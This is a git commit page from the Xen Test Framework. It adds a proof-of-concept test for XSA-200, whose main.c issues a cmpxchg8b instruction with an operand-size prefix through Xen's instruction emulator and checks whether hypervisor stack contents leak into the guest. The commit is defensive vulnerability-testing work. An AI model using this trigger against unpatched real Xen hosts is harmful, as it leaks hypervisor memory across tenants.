]> xenbits.xensource.com Git - people/andrewcoop/xen-test-framework.git/commitdiff
XSA-200 PoC
authorAndrew Cooper <andrew.cooper3@citrix.com>
Fri, 9 Dec 2016 15:16:31 +0000 (15:16 +0000)
committerAndrew Cooper <andrew.cooper3@citrix.com>
Mon, 19 Dec 2016 18:13:58 +0000 (18:13 +0000)
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
docs/all-tests.dox
tests/xsa-200/Makefile [new file with mode: 0644]
tests/xsa-200/main.c [new file with mode: 0644]

index e0d8974671455ed0631d9732394b99aca7dd46fc..1feccb41ce213a4d17a84c82c12f44f96f95f73b 100644 (file)
@@ -77,6 +77,9 @@ address checks.
 
 @subpage test-xsa-196 - x86: Software interrupt injection mis-handled.
 
+@subpage test-xsa-200 - x86: CMPXCHG8B emulation fails to ignore operand size
+override.
+
 
 @section index-utility Utilities
 
diff --git a/tests/xsa-200/Makefile b/tests/xsa-200/Makefile
new file mode 100644 (file)
index 0000000..d698a3a
--- /dev/null
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-200
+CATEGORY  := xsa
+TEST-ENVS := hvm32
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
diff --git a/tests/xsa-200/main.c b/tests/xsa-200/main.c
new file mode 100644 (file)
index 0000000..d91aa09
--- /dev/null
@@ -0,0 +1,73 @@
+/**
+ * @file tests/xsa-200/main.c
+ * @ref test-xsa-200
+ *
+ * @page test-xsa-200 XSA-200
+ *
+ * Advisory: [XSA-200](http://xenbits.xen.org/xsa/advisory-200.html)
+ *
+ * Before XSA-200, the instruction emulator in Xen had a bug where it
+ * incorrectly honoured the legacy operand-side override prefix for
+ * `cmpxchg8b`.  This caused it to only read a subset of memory operand, but
+ * write back all register state properly, leaking a certain quantity of the
+ * hypervisor stack into the guest.
+ *
+ * In Xen 4.8 development cycle, the bug was mitigated by accidentally
+ * causing such an instruction to suffer an unconditional @#UD exception.
+ *
+ * Construct such a `cmpxchg8b` which should unconditionally fail and write
+ * mem into prev, checking whether mem had been read correctly.  As there is a
+ * slim chance that the stack rubble matches 0xc2, repeat the operation up to
+ * 10 times.
+ *
+ * @see tests/xsa-200/main.c
+ */
+#include <xtf.h>
+
+#include <arch/x86/exinfo.h>
+
+const char test_title[] = "XSA-200 PoC";
+
+bool test_needs_fep = true;
+
+void test_main(void)
+{
+    uint64_t mem = 0xc2c2c2c2c2c2c2c2ull;
+
+    uint64_t old = 0x0123456789abcdefull;
+    uint64_t new = 0xfedcba9876543210ull;
+    uint64_t prev;
+
+    unsigned int i;
+    exinfo_t fault = 0;
+
+    for ( i = 0; i < 10; ++i )
+    {
+        /* Poke the emulator. */
+        asm volatile (_ASM_XEN_FEP "1: .byte 0x66; cmpxchg8b %[ptr]; 2:"
+                      _ASM_EXTABLE_HANDLER(1b, 2b, ex_record_fault_edi)
+                      : "=A" (prev), [ptr] "+m" (mem), "+D" (fault)
+                      : "c" ((uint32_t)(new >> 32)), "b" ((uint32_t)new),
+                        "0" (old));
+
+        if ( fault == EXINFO_SYM(UD, 0) )
+            return xtf_success("Success: Not vulnerable to XSA-200\n");
+        else if ( fault )
+            return xtf_error("Error: Unexpected fault %08x\n", fault);
+
+        if ( prev != mem )
+            return xtf_failure("Fail: Hypervisor stack leaked into guest\n");
+    }
+
+    xtf_success("Success: Probably not vulnerable to XSA-200\n");
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */